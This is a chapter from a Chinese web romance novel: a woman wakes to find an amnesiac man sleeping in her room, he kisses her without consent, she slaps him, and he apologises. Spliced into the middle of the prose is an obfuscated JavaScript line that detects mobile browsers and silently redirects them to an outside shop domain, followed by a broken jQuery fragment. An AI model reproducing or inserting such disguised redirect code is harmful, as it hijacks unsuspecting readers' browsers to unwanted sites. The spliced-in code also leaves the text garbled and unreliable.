回到家,祝以眠一头扎进卫生间洗了很久澡,又一头扎进了卧室,完成不给言随烦她的机会。
白天兼职,晚上还要抽空画稿子,这几天连直播都没时间。
短视频账号这一周的素材也还没剪,为了稳定流量,她一直保持着周更一两次。
除了现在这个账号,她还有一个从大学就开始做的账号,足有三百万粉丝,那个时候祝家还有钱,她去各地旅游时顺便拍些不露脸的变装转场视频,选景、妆造、拍摄、剪辑配乐基本都由她一个人来,一开始只是想记录自己,意外火了之后,她就当兼职做了。
那时候她还维持着90斤左右的身材,年轻貌美,随便发个视频就有不错的收入。
祝家破产后,平台居然把她账号给封了,连申诉都无门。
所有努力一夜之间付诸东流,她崩溃了很久才调整好心态,想这些糟心事除了消耗自己的情绪毫无作用,祝以眠索性不想。
让自己忙碌起来,生活才会一点点好起来。
画完稿,临睡前祝以眠看着镜子里的肚子上的赘肉沉思一秒,嗯,该减个肥了。
第二天早上,她睡眼惺忪抓着头发坐起,正琢磨要做什么减肥餐,余光瞄到床边的空地上隆起个人影。
尖叫和枕头一同飞了过去。
“言随!”
“你为什么在我房间!”
地板上打着地铺,言随盖着薄薄毛毯蜷缩着,被这一声叫唤得茫然支棱起上半身。
凌乱的脑袋迎面接了她一个枕头。
砸中后,滚落到了他脚边。
他恹恹打了个哈欠,哑声道:“外面好冷...”
随手臂伸展开,领口大敞的睡衣顺着肩头滑落半截,露出一大片雪白的肌肤。
饱满规整的胸肌隆起,沟壑分明的腹肌层层递进,骨肉均衡,紧实流畅。
极具视觉冲击力。
祝以眠睡意瞬间烟消云散,呆了十秒后,对上他笑意浅浅的眸,羞恼地从床上弹起,一股脑把床上的被子往他身上堆。
“冷你就盖被子,谁让你进我房间的...啊!”
脚下一个打滑,她从床缘栽了下去。
隔着柔软的被衾,一具炙热的身体贴了上来。
他张开手臂,抱住了她,翻身压到身下。
夹在两人中间的被子也不知怎么不见了,等祝以眠回过神,便是被子盖在他身上,她被他压在身下。
男人毛茸茸的脑袋凑在她颈边,微带胡茬的下巴蹭了蹭她的脸蛋。
然后趴着不动了。
他的睡衣是敞开的,也就是说,他和她肌肤相贴的距离只差她单薄的睡衣。
而她晚上睡觉,不穿内衣。
祝以眠脸蛋迅速涨红,一巴掌呼上他背。
“你疯了?!起开!”
“快给我起开!”
言随一动不动,温热的呼气喷洒在颈边,引起肌肤一阵颤栗。
“是你先抱我的。好困......再睡一会儿好不好?”
抱你个锤子!
她被他压得一动不能动,甚至要喘不上气,气急败坏挪动脑袋,张嘴嗷呜冲着他贴着她面颊的耳朵就是一口。
颈边响起一声闷哼。
这声响融入此景此景,有种奇怪的韵味。
可他还是不动。
她艰难抽出一只手,恶向胆边生,手指伸向他腰侧,狠狠一拧。
他侧腰肌肉紧绷绷,几乎没有一丝赘肉,好不容易才让她揪到一点肉。
拧没反应,她改成挠,言随终于撑肘支起上身,昏暗中,他的脸庞近在咫尺,乌黑的眸一瞬不瞬攫着她,如深不见底的汪洋,诱着人沉沦、坠落。
祝以眠怔住。
他的脸压了下来,覆上她的唇。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780764|209790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这不是她第一次接吻,却是第一次在如此清醒的时刻。
起初只是轻软相贴,呼吸交缠在温热空气里。
他慢慢加深这个吻,唇瓣辗转摩挲。
一只手揽紧她的腰,力道带着一点不容挣脱的缱绻,牢牢把她扣在怀里。
这一动,忽地触到异常。
理智瞬间回归。
祝以眠猛地推开他向后挪动,右手使劲,重重甩了他一巴掌。
啪地脆响。
言随偏过头,垂着眸,一动不动。
祝以眠喘着粗气,愤懑地瞪他,一时也不知道该说什么。
气氛凝滞。
半晌。
他抬起手,指腹轻蹭唇瓣,移动膝盖慢吞吞地蹭过来,脸凑到她面前,眨着无辜干净的黑眸,老实巴交认错。
“对不起...我不该不经你同意亲你。”
“……”
“...没忍住。”
祝以眠很想把失忆后行为神经质的言随扔出家门。
甚至翻出了校友群,找到了他发小顾砚行的联系方式,想联系他赶紧过来把人引走。
但是,言随在她手上,没准能影响到剧情的进展。
她不想一直被控制地走剧情,谁知道哪一次就把她小命丢了。
祝以眠是个很丧很想摆烂的人,但越有人想让她不好过,反而越能激起她骨子里的叛逆心。她偏不要让该死的命运、那些想看她笑话的人如愿!
反复洗脑后,她绷着脸去厨房。
出卧室前恶狠狠警告言随。
“从我房间滚出去!还有!再敢碰我你死定了!”
卧室没开灯,厚重的窗帘阻隔了外面的阳光,所以她看不清言随的表情。
他的脸藏在阴影中,嗓音温柔应了句。
“知道了。”
他的眠眠,连威胁人都这么可爱。